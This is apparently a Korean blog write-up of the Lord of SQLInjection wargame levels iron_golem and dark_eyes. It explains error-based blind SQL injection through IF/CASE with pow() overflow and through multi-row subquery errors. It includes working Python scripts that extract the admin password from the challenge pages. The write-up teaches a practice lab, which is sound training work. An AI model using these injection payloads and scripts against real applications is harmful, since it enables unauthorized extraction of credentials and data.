[LOS] 21,22번 문제 풀이(iron_golem,dark_eyes)

4 분 소요

💡 los.rubiya.kr 21번, 22번 문제에 대한 풀이입니다.

21번(iron_golem)

문제

image

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

풀이

21번 문제는 이전 문제들과 다르게 화면에 출력되는 값이 없습니다. 즉 서버로 인젝션을 시도해도 그 결과값이 어떻게 처리되었는지를 모르기 때문에 기존의 방법과는 다릅니다.

이러한 경우에 가장 많이 사용하는 방법이 Time Based Sql injection인데 대표적인 함수 sleep과 benchmark 두가지가 필터링되어 있습니다. 따라서 다른 방법을 찾아야 합니다.

눈에 띄는 것은 이번 문제에서는 Error를 출력을 해줍니다.

if(mysqli_error($db)) exit(mysqli_error($db));

이를 이용하면 blind sql injection을 수행할 수 있습니다. 즉, 내가 찾고자 하는 조건이 참이면 - > 에러가 안나게 하고, 거짓이면 - > 에러를 유발하여 참 거짓을 판단할 수 있기 때문에 Blind SQL Injection을 시도할 수 있습니다.

위의 개념을 적용하기 위해서는 조건에 따라서 프로그램의 흐름(Flow)가 달라지도록 하는 함수나 연산자가 필요합니다

mysql 함수 문서를 보니 control flow 를 하는 함수는 다음과 같이 크게 2가지로 Case, If문이 있습니다.

image

이번 문제는 두 가지 조건이 다 필터링이 되어 있지 않으므로 두 조건을 이용해서 문제를 풀어보겠습니다.

IF

if 구문 사용 예제

IF(expr1,expr2,expr3)

# 만약 expr1 참이면, expr2 실행하고, 거짓이면 expr3 실행한다.

IF(1=1,'true','false') # 'true' 출력
IF(1=2,'true','false') # 'false' 출력

참인 경우에는 정상, 거짓인 경우에는 에러를 일으켜야 하므로 우선 에러를 일으키는 구문이 필요합니다. 에러를 일으키는 방법은 정말 다양하지만 저는 쉽게 pow(12341234,12341234)이렇게 작성해서 허용가능한 연산 범위를 초과시켜서 에러를 발생시켜 보겠습니다.

성공적으로 오류가 발생합니다.

image

이제 다음과 같이 blind sql injection을 수행하면 됩니다.

for i in range(pw_length):
  for j in string.printable:
    pw="' or id='admin' and if(ascii(substr(pw,{},1))={},1,pow(12341234,12341234))#".format(i,ord(j))

이렇게 하면 주어진 조건이 참이라면 true가 출력되어 오류가 발생하지 않을 것이고, 조건이 거짓이라면 pow(12341234,12341234)가 실행되어 오류가 발생하게 됩니다.

if 조건을 이용한 blind sql injection 전체 소스코드입니다.

import requests

url= "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
params={'pw':None}
cookies = {'PHPSESSID':'1t87momi7f10m7tl6kkv6t0lob'}

for i in range(30,35):
    payload = "' or id='admin' and if(length(pw)={},1,pow(12341234,12341234))#".format(i)
    params['pw']=payload
    print(payload)
    response = requests.get(url,params=params,cookies=cookies)
    if("DOUBLE value" not in response.text):
        print("find the pw_length",i)
        break

# 비밀번호가 기니까 이진탐색
flag = ''
for i in range(1,33):
    start,end= 0,255
    while True:
        search = int((start+end)/2)
        payload = "' or id='admin' and if(ascii(substr(pw,{},1))<={},1,pow(12341234,12341234))#".format(i,search)
        params['pw'] = payload
        print("[+]",payload)
        response = requests.get(url,params=params,cookies=cookies)
        if("DOUBLE value" not in response.text):
            payload = "' or id='admin' and if(ascii(substr(pw,{},1))={},1,pow(12341234,12341234))#".format(i,search)
            params['pw'] = payload
            print("[+]",payload)
            response = requests.get(url,params=params,cookies=cookies)
            if("DOUBLE value" not in response.text):
                flag += chr(search)
                print("find the flag",flag)
                break
            end = search
        else:
            print("[-]",payload)
            start = search

image

Case

Case 구문 사용 예제

CASE value WHEN compare_value THEN result [WHEN compare_value THEN result ...] [ELSE result] END

SELECT CASE 1 WHEN 1 THEN 'one'
         WHEN 2 THEN 'two' ELSE 'more' END;
# 'one' 출력

SELECT CASE 1+1 WHEN 1 THEN 'one'
         WHEN 2 THEN 'two' ELSE 'more' END;
# 'two' 출력


CASE WHEN condition THEN result [WHEN condition THEN result ...] [ELSE result] END

SELECT CASE WHEN 1>0 THEN 'true' ELSE 'false' END;
# 'true' 출력

Case 구문을 사용하여 pw를 알아내는 쿼리는 다음과 같이 구성했습니다.

pw=' or (select case when id='admin' and length(pw)=32 then 1 else pow(12341234,12341234) end)%23

비밀번호 길이인 32를 입력하면 다음과 같이 오류가 발생하지 않지만

image

비밀번호 길이가 아닌 31을 입력하면 다음과 같이 오류가 발생합니다. 즉 Case 구문을 이용해서도 성공적으로 blind sql injection이 가능함을 의미합니다.

image

22번(dark_eyes)

문제

image

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

풀이

21번과 동일한 조건에서 필터링 되는 조건이 추가되었습니다. flow control을 판단하는 식인 if,case가 필터링 되어서 다른 방법을 통해서 주어진 조건에 대해서 참/거짓을 판단할 수 있는 방법을 찾아야 합니다.

현재 페이지에서는 오류가 발생했을 때와 오류가 발생하지 않을때 화면의 출력 결과에서 차이가 발생합니다.

오류가 발생하면 다음과 같이 화면에 아무것도 출력하지 않고

image

오류가 발생하지 않으면 다음과 같이 화면이 출력됩니다.

image

이를 이용해서 참 일때 오류를 발생시키고, 거짓일 때는 오류를 발생시키지 않는 방법을 통해서 참/거짓을 판단하는 방법을 이용합니다.

제가 이용한 방법은 sql에서의 서브쿼리를 이용해서, 오류를 발생시키는 방법입니다. 아래의 예시 쿼리를 보면 where 조건절에서 id=(서브쿼리) 형태로 쿼리를 하고 있습니다. 이때, 서브쿼리에서 리턴되는 행이 하나이면, 오류가 발생하지 않지만, 한 개 이상의 행이 리턴되면 에러가 발생하는 것을 볼 수 있습니다.

image

이를 이용해서 다음과 같이 참/거짓을 판단합니다.

select id from prob_dark where id=(select 1 union select 2 where [조건 ])

image

위의 [조건식] 부분에서 조건이 참이 된다면, 행이 추가로 반환되어 오류가 발생하고, 조건이 거짓이 된다면 행이 반환되지 않아서 오류가 발생하지 않습니다.!

이를 이용해서 blind sql injection을 수행합니다.

import requests
import string

url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
params={'pw': None}
cookies = {'PHPSESSID' : '1t87momi7f10m7tl6kkv6t0lob'}

# 비밀번호 길이 알아내기
for i in range(30):
    payload = "' or id=(select 1 union select 2 where id='admin' and length(pw)={})#".format(i)
    params['pw'] = payload
    print(payload)
    response = requests.get(url,params=params,cookies=cookies)
    if(len(response.text)<5):
        print("find the pw_length",i)
        break

# 비밀번호 길이 8

# 비밀번호 찾기
flag= ''
for i in range(1,9):
    for j in string.printable:
        payload = "' or id=(select 1 union select 2 where id='admin' and ascii(substr(pw,{},1))={})#".format(i,ord(j))
        params['pw'] = payload
        print(payload)
        response = requests.get(url,params=params,cookies=cookies)
        if(len(response.text)<5):
            flag +=j
            print("find the flag",flag)
            break

실행 결과는 다음과 같이 나옵니다.

image

image

댓글남기기